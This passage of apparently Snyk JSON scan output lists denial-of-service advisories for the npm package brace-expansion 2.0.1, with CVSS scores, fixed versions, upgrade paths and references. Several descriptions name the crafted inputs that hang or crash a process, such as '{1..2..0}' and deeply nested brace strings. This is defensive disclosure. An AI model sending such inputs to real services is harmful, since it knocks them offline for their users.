"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
